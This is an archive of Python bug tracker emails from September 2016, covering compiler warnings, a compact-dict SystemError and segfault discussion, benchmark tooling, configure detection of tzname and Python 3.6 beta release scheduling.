In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za>
Message-ID: <1473701220.15.0.119621726478.issue23545@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

All warnings were resolved at the moment of providing previous version, but the code was changed too much last days. New warnings was added and disappeared in these days. Now we can just sit and resolve the leftover.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23545>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:28:24 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 17:28:24 +0000
Subject: [issue23545] Turn on extra warnings on GCC
In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za>
Message-ID: <20160912172819.19406.23536.BDA26884@psf.io>


Roundup Robot added the comment:

New changeset da485c6c744e by Stefan Krah in branch 'default':
Issue #23545: Adding -Wextra in setup.py is no longer necessary, since it
https://hg.python.org/cpython/rev/da485c6c744e

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23545>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:30:33 2016
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 12 Sep 2016 17:30:33 +0000
Subject: [issue23545] Turn on extra warnings on GCC
In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za>
Message-ID: <1473701433.34.0.434840035578.issue23545@psf.upfronthosting.co.za>


Stefan Krah added the comment:

Agreed. SilentGhost, it's probably best to open new issues for the warnings.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23545>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:32:31 2016
From: report at bugs.python.org (Elias Zamaria)
Date: Mon, 12 Sep 2016 17:32:31 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1473701551.82.0.219062956966.issue27923@psf.upfronthosting.co.za>


Elias Zamaria added the comment:

I looked through the email thread. I can remove the DeprecationWarnings, but before I do that, I would like to ask something: How "official" are the things discussed in the thread? Are they supposed to be part of the PEP? Are they supposed to be final, definite decisions, or are they things that may change soon?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:34:59 2016
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=)
Date: Mon, 12 Sep 2016 17:34:59 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473701699.17.0.669608607205.issue28092@psf.upfronthosting.co.za>


?ukasz Langa added the comment:

Benjamin, what's the rationale behind switching those to inline functions? Does it improve runtime performance or build speed? If not, I don't understand why the additional complexity.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:36:58 2016
From: report at bugs.python.org (R. David Murray)
Date: Mon, 12 Sep 2016 17:36:58 +0000
Subject: [issue28104] Set documentation is incorrect
In-Reply-To: <1473700051.49.0.516497540366.issue28104@psf.upfronthosting.co.za>
Message-ID: <1473701818.14.0.527555518866.issue28104@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28104>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:42:21 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 17:42:21 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473702141.27.0.656061021462.issue28040@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

I'd like to reopen this one since I still don't think this change is needed and suggest to revert since this change make split table combined on deletion.

Deletion will not alter split dict's order. Only insertion after deletion will. But this case is already handled in insertdict[0]. So I think we don't have to combine once an item is deleted from split dict.

The example INADA gives works well with the previous implementation(before this change). The problem there is a SystemError I think is dict.pop() doesn't handle pending state (del dict does, so you can produce the same failure when try del dict[]). We only add `|| *value_addr == NULL` as delitem does.

poc.patch reverts the change (preserve the tests, eliminating the size compare part) and add pending state handling in dict.pop(). It passes. And if you remove the pending state handling, you can product the SystemError.

I'd like to know if my idea is totally wrong. :)

[0] https://hg.python.org/cpython/file/tip/Objects/dictobject.c#l1057

----------
status: closed -> open
Added file: http://bugs.python.org/file44596/poc.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:47:59 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 17:47:59 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473702479.95.0.340484716795.issue28040@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Ohh, mistakes.

> so you can produce
can should be can not

> We only add
We only need to add

> you can product the
product should be produce

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:55:52 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 17:55:52 +0000
Subject: =?utf-8?b?W2lzc3VlMjgxMDVdIHdhcm5pbmc6IOKAmG5rd2FyZ3PigJkgbWF5IGJlIHVz?=
 =?utf-8?q?ed_uninitialized?=
Message-ID: <1473702952.51.0.841128110001.issue28105@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Objects/methodobject.c: In function ?_PyCFunction_FastCallKeywords?:
Objects/methodobject.c:281:24: warning: ?nkwargs? may be used uninitialized in this function [-Wmaybe-uninitialized]
     assert((nargs == 0 && nkwargs == 0) || stack != NULL);
                        ^

----------
components: Interpreter Core
messages: 276082
nosy: haypo, ned.deily, serhiy.storchaka
priority: release blocker
severity: normal
status: open
title: warning: ?nkwargs? may be used uninitialized
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28105>
_______________________________________

From report at bugs.python.org  Mon Sep 12 14:03:19 2016
From: report at bugs.python.org (INADA Naoki)
Date: Mon, 12 Sep 2016 18:03:19 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473703398.99.0.845418624102.issue28040@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Xiang:
Preserving insertion order in shared-key dict is possible, but it's hard.
If we allow it, we should add tons of test for shared-key dict.

I'll describe why it's harder than you think.

Current implementation allow insertion to split table only when:

    /* When insertion order is different from shared key, we can't share
     * the key anymore.  Convert this instance to combine table.
     */
    if (_PyDict_HasSplitTable(mp) &&
        ((ix >= 0 && *value_addr == NULL && mp->ma_used != ix) ||
         (ix == DKIX_EMPTY && mp->ma_used != mp->ma_keys->dk_nentries))) {
        if (insertion_resize(mp) < 0) {

`ix >= 0 && *value_addr == NULL` means it's pending slot.
`mp->ma_used == ix` ensure insertion order.  And if we allow deletion, this check will be broken.

For example:

a, b = C()
a.a, a.b, a.c = 1, 2, 3  # shared-key order
b.a, b.b, b.c = 1, 2, 3  # same order, no problem

del b.a  # mp->ma_used = 2
del b.b  # mp->ma_used = 1

b.b = 42  # It's OK because mp->ma_used == ix == 1. Keep sharing.

assert(list(b.__dict__.keys()) == ["c", "b"])  # AssertionError! Actual order is [(PENDING "a",) "b", "c"]

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 14:06:56 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Mon, 12 Sep 2016 18:06:56 +0000
Subject: [issue8840] truncate() semantics changed in 3.1.2
In-Reply-To: <1275005546.82.0.0795236723796.issue8840@psf.upfronthosting.co.za>
Message-ID: <1473703616.9.0.738942180921.issue8840@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue8840>
_______________________________________

From report at bugs.python.org  Mon Sep 12 14:10:15 2016
From: report at bugs.python.org (Ethan Furman)
Date: Mon, 12 Sep 2016 18:10:15 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1473703815.96.0.52391496056.issue27923@psf.upfronthosting.co.za>


Ethan Furman added the comment:

The PEP 467 has not been accepted yet, so nothing is final.  The email thread is the current discussion.

Also, unless someone has received permission from Ned, this won't go in until Python 3.7.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Mon Sep 12 14:17:26 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 18:17:26 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473704246.81.0.443672440641.issue28040@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

> add tons of test for shared-key dict

So what if we delete mp->ma_used == ix or use mp->ma_keys->dk_nentries == ix? Do we still have any case breaking the order?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 14:22:45 2016
From: report at bugs.python.org (Thomas Wouters)
Date: Mon, 12 Sep 2016 18:22:45 +0000
Subject: [issue28106] [Benchmarks] Add --testonly argument to perf.py to run
 benchmarks only for correctness checking
Message-ID: <1473704565.15.0.68917906778.issue28106@psf.upfronthosting.co.za>


New submission from Thomas Wouters:

The attached patch adds a --testonly mode to the 'perf.py' benchmark runner, which runs the selected benchmarks in the fastest possible way with just one interpreter (without filtering out slow benchmarks, or benchmarks that can't run in raw mode).

The intent is for this to be a relatively quick way to check that the benchmarks are not broken. I'm including the benchmarks in this mode in our continuous-build system (making sure the benchmarks will run when we need to do actual benchmarking), and this saves a significant amount of time while still allowing us to test all benchmarks (both --fast and --raw skip certain benchmarks).

----------
components: Benchmarks
files: benchmarks-testonly.diff
keywords: patch
messages: 276086
nosy: brett.cannon, gregory.p.smith, pitrou, twouters
priority: normal
severity: normal
stage: patch review
status: open
title: [Benchmarks] Add --testonly argument to perf.py to run benchmarks only for correctness checking
type: enhancement
Added file: http://bugs.python.org/file44597/benchmarks-testonly.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28106>
_______________________________________

From report at bugs.python.org  Mon Sep 12 14:38:07 2016
From: report at bugs.python.org (Arun Persaud)
Date: Mon, 12 Sep 2016 18:38:07 +0000
Subject: [issue21018] [patch] added missing documentation about escaping
 characters for configparser
In-Reply-To: <1395464420.76.0.68706986346.issue21018@psf.upfronthosting.co.za>
Message-ID: <1473705487.17.0.572083959503.issue21018@psf.upfronthosting.co.za>


Arun Persaud added the comment:

updated the patch, let me know if it needs additional changes.

----------
Added file: http://bugs.python.org/file44598/escape.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21018>
_______________________________________

From report at bugs.python.org  Mon Sep 12 14:41:02 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 18:41:02 +0000
Subject: [issue28106] [Benchmarks] Add --testonly argument to perf.py to run
 benchmarks only for correctness checking
In-Reply-To: <1473704565.15.0.68917906778.issue28106@psf.upfronthosting.co.za>
Message-ID: <1473705662.24.0.167011410551.issue28106@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28106>
_______________________________________

From report at bugs.python.org  Mon Sep 12 14:55:25 2016
From: report at bugs.python.org (sashk)
Date: Mon, 12 Sep 2016 18:55:25 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1473706525.68.0.517222406186.issue27806@psf.upfronthosting.co.za>


sashk added the comment:

I've made attempt to make Python 2.7 compile 32-bit version on macOS 10.12 Sierra. See attached patch. With this patch, I was able to compile universal (32-bit/64-bit) python binary on macOS 10.12 GM.

----------
keywords: +patch
Added file: http://bugs.python.org/file44599/issue27806.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Mon Sep 12 14:57:05 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 18:57:05 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473701699.17.0.669608607205.issue28092@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwbjVw01q4LL9z_Y7TM6oMzk07YsFkfDmSyJoyObboCiXg@mail.gmail.com>


STINNER Victor added the comment:

For the specific case of Dtrace, #define are just fine. But for
unicodeobject.h, it would be nice to be able to use inline functions.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:02:59 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 19:02:59 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <CAMpsgwakCgT4wNGeR1FZ9Eak_hyT_ma6p9EEOy2tW1P=zxynSw@mail.gmail.com>
Message-ID: <CAMpsgwYWta-ZNCpmkF4VtxxXe47R4RJTnX_mDCDrfPdVgYv3YA@mail.gmail.com>


STINNER Victor added the comment:

Xiang: I will remove the now useless check, but after beta 1.

This issue is about SystemError and you now want to reuse the issue to
implement an optimization. Please open a new issue for supporting deletion
on split table if you consider that it's possible and that it would be a
good idea.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:05:41 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 19:05:41 +0000
Subject: [issue26182] Deprecation warnings for the future async and await
 keywords in Python 3.6
In-Reply-To: <1453489566.62.0.462459552998.issue26182@psf.upfronthosting.co.za>
Message-ID: <1473707141.57.0.945084738503.issue26182@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Ned, would it be OK to commit this patch after b1?

async/await are scheduled to become real keywords in 3.7.  Right now they are only keywords in 'async def' blocks, meaning that it's OK to have a class with 'async' or 'await' attributes.

So this will be a backwards compatibility breaking change in 3.7.  This patch makes Python to emit a warning each time you use async or await as an attribute/variable/etc.

----------
nosy: +gvanrossum, ned.deily
priority: normal -> release blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26182>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:07:22 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Mon, 12 Sep 2016 19:07:22 +0000
Subject: [issue28107] Update typing module dicumentation for NamedTuple
Message-ID: <1473707242.23.0.095655840586.issue28107@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

The implementation of NamedTuple in typing module has been extended to support PEP 526 variable annotation syntax.

Here is he patch that updates documentation accordingly.

----------
assignee: docs at python
components: Documentation
files: nmtuple-doc.diff
keywords: patch
messages: 276092
nosy: docs at python, gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: Update typing module dicumentation for NamedTuple
versions: Python 3.6
Added file: http://bugs.python.org/file44600/nmtuple-doc.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28107>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:12:44 2016
From: report at bugs.python.org (Brett Cannon)
Date: Mon, 12 Sep 2016 19:12:44 +0000
Subject: [issue28106] [Benchmarks] Add --testonly argument to perf.py to run
 benchmarks only for correctness checking
In-Reply-To: <1473704565.15.0.68917906778.issue28106@psf.upfronthosting.co.za>
Message-ID: <1473707564.97.0.386117393932.issue28106@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Is this against https://github.com/python/performance or hg.python.org/benchmarks?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28106>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:22:37 2016
From: report at bugs.python.org (Eric Snow)
Date: Mon, 12 Sep 2016 19:22:37 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>
Message-ID: <1473708157.4.0.90888760485.issue28007@psf.upfronthosting.co.za>


Eric Snow added the comment:

Here's a patch to soften the impact of pyc-related problems.

Note:
* Each pyc-related case that previously caused import to fail now results in an ImportWarning.  This applies to both reading and writing .pyc files.
* Each warning has __cause__ set to the caught exception.
* Some cases where the exception was already being swallowed now result in a warning while others are still swallowed.
* The tests verify that the warnings, with appropriate causes, are issued.
* The tests verify that existing bad .pyc file get overwritten.
* importlib._bootstrap_external.StaleBytecodeError is new.  It should surface only from SourcelessFileLoader.
* SourcelessFileLoader is not changed.

----------
keywords: +patch
Added file: http://bugs.python.org/file44601/issue28007.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:23:16 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 12 Sep 2016 19:23:16 +0000
Subject: [issue28107] Update typing module dicumentation for NamedTuple
In-Reply-To: <1473707242.23.0.095655840586.issue28107@psf.upfronthosting.co.za>
Message-ID: <1473708196.26.0.835450073607.issue28107@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Honestly I think it's better if this remains a "hidden" feature until we have support for it in mypy. So let's wait for that.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28107>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:24:11 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Mon, 12 Sep 2016 19:24:11 +0000
Subject: [issue28107] Update typing module dicumentation for NamedTuple
In-Reply-To: <1473707242.23.0.095655840586.issue28107@psf.upfronthosting.co.za>
Message-ID: <1473708251.41.0.822362332065.issue28107@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

OK

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28107>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:33:08 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 19:33:08 +0000
Subject: [issue26182] Deprecation warnings for the future async and await
 keywords in Python 3.6
In-Reply-To: <1453489566.62.0.462459552998.issue26182@psf.upfronthosting.co.za>
Message-ID: <1473708788.42.0.467926103269.issue26182@psf.upfronthosting.co.za>


Ned Deily added the comment:

As long as Brett is also OK with it, it can go in for 360b2.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26182>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:33:55 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 12 Sep 2016 19:33:55 +0000
Subject: [issue28108] Python configure fails to detect tzname on platforms
 that have it.
Message-ID: <1473708835.14.0.84620259167.issue28108@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

After running ./configure on Linux or MacOS X, check the generated pyconfig.h header:

$ grep TZNAME pyconfig.h
/* #undef HAVE_DECL_TZNAME */
/* #undef HAVE_TZNAME */

However, tzname exists and is declared in time.h on Linux and MacOS X as can be seen by compiling and running the following simple program:

$ cat tzname.c
#include <time.h>
#include <stdio.h>

int main() {
    tzset();
    printf("%s/%s\n", tzname[0], tzname[1]);
}
$ clang tzname.c -o tzname
$ ./tzname
EST/EDT

Note that tzname is mandated by the recent editions of POSIX <http://pubs.opengroup.org/onlinepubs/009695399/functions/tzset.html>, so I am not sure whether we need to check for it in configure.

----------
messages: 276098
nosy: belopolsky
priority: normal
severity: normal
status: open
title: Python configure fails to detect tzname on platforms that have it.
type: behavior
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28108>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:33:59 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 19:33:59 +0000
Subject: =?utf-8?b?W2lzc3VlMjgxMDVdIHdhcm5pbmc6IOKAmG5rd2FyZ3PigJkgbWF5IGJlIHVz?=
 =?utf-8?q?ed_uninitialized?=
In-Reply-To: <1473702952.51.0.841128110001.issue28105@psf.upfronthosting.co.za>
Message-ID: <20160912193355.8502.62123.D330EB2E@psf.io>


Roundup Robot added the comment:

New changeset e67e685a1301 by Victor Stinner in branch 'default':
Fix warning in _PyCFunction_FastCallKeywords()
https://hg.python.org/cpython/rev/e67e685a1301

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28105>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:34:49 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 12 Sep 2016 19:34:49 +0000
Subject: [issue28108] Python configure fails to detect tzname on platforms
 that have it.
In-Reply-To: <1473708835.14.0.84620259167.issue28108@psf.upfronthosting.co.za>
Message-ID: <1473708889.14.0.644276007943.issue28108@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
nosy: +haypo, lemburg

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28108>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:50:08 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 19:50:08 +0000
Subject: =?utf-8?b?W2lzc3VlMjgxMDVdIHdhcm5pbmc6IOKAmG5rd2FyZ3PigJkgbWF5IGJlIHVz?=
 =?utf-8?q?ed_uninitialized?=
In-Reply-To: <1473702952.51.0.841128110001.issue28105@psf.upfronthosting.co.za>
Message-ID: <1473709808.28.0.575668764168.issue28105@psf.upfronthosting.co.za>


STINNER Victor added the comment:

It should be fixed. Thanks for the report.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28105>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:51:10 2016
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 12 Sep 2016 19:51:10 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473709870.51.0.538070047638.issue28040@psf.upfronthosting.co.za>


Stefan Krah added the comment:

The Blaze test suite segfaults with 4a5b61b0d090.

----------
nosy: +skrah

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:54:01 2016
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 12 Sep 2016 19:54:01 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473710041.12.0.278599419438.issue28040@psf.upfronthosting.co.za>


Changes by Stefan Krah <stefan at bytereef.org>:


----------
nosy: +ned.deily
priority: normal -> release blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:55:04 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 19:55:04 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1473700766.26.0.983823546085.issue27213@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwYTiduWXq+rOjiw7Pg0gh9XoHcWNQ0HotKn0DGi1vJR4Q@mail.gmail.com>


STINNER Victor added the comment:

Thanks for the report, warning fixed in the issue #28105.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:56:12 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 19:56:12 +0000
Subject: [issue28106] [Benchmarks] Add --testonly argument to perf.py to run
 benchmarks only for correctness checking
In-Reply-To: <1473704565.15.0.68917906778.issue28106@psf.upfronthosting.co.za>
Message-ID: <1473710172.51.0.62246377432.issue28106@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Please use the new benchmark suite: https://github.com/python/performance

performance already has such option: --debug-single-sample. It's already used by runtests.py which is run by tox and automatically by Travis CI. Enjoy!

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28106>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:57:32 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 19:57:32 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473710252.09.0.153202747742.issue28040@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> The Blaze test suite segfaults with 4a5b61b0d090.

What is the Blaze test suite?

Are you sure that you really recompiled Python from scratch? Try:

make distclean && ./configure --with-pydebug && make

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:00:24 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Mon, 12 Sep 2016 20:00:24 +0000
Subject: [issue28109] What's new item for PEP 526 -- Variable annotations
Message-ID: <1473710424.07.0.410665624445.issue28109@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

The attached patch contains a simple item summarizing PEP 526 in 3.6 What's New.

----------
assignee: docs at python
components: Documentation
files: whats-new-pep-526.diff
keywords: patch
messages: 276105
nosy: docs at python, gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: What's new item for PEP 526 -- Variable annotations
versions: Python 3.6
Added file: http://bugs.python.org/file44602/whats-new-pep-526.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28109>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:03:48 2016
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 12 Sep 2016 20:03:48 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473710628.91.0.34009646827.issue28040@psf.upfronthosting.co.za>


Stefan Krah added the comment:

Yes, I'm sure. I even cloned a fresh repo. Also, I tested in
release mode (not --with-pydebug).


https://github.com/blaze/blaze

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:05:48 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 20:05:48 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473710748.64.0.60116713336.issue28040@psf.upfronthosting.co.za>


Ned Deily added the comment:

The immediate question is: is this serious enough to block 3.6.0b1 or can it wait for b2?   The b1 bits are just about ready to be published.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:12:58 2016
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 12 Sep 2016 20:12:58 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473711178.81.0.577334970027.issue28040@psf.upfronthosting.co.za>


Stefan Krah added the comment:

I'm not sure. In the Blaze test suite, 1e7b636b6009 has the SystemError.
4a5b61b0d090 segfaults.

Blaze is pushing Python's dynamic capabilities to absolute limits,
so perhaps this is specific to a few applications only.


For Blaze *itself* there is no difference whether this is fixed now
or in the next beta.  So releasing 3.6.0b1  now and setting this back
to blocker afterwards sounds good to me.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:13:48 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 12 Sep 2016 20:13:48 +0000
Subject: [issue28109] What's new item for PEP 526 -- Variable annotations
In-Reply-To: <1473710424.07.0.410665624445.issue28109@psf.upfronthosting.co.za>
Message-ID: <1473711228.02.0.917414983066.issue28109@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

This should probably wait until b1 is released; it looks like What's New is mostly empty anyways. The release manager needs to focus on the release.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28109>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:14:10 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 12 Sep 2016 20:14:10 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473711250.54.0.112896158309.issue28040@psf.upfronthosting.co.za>


Ned Deily added the comment:

OK, thanks, Stefan!  OK with you, Victor?

----------

_______________________________________
Python tracker <report at bugs.python.org>
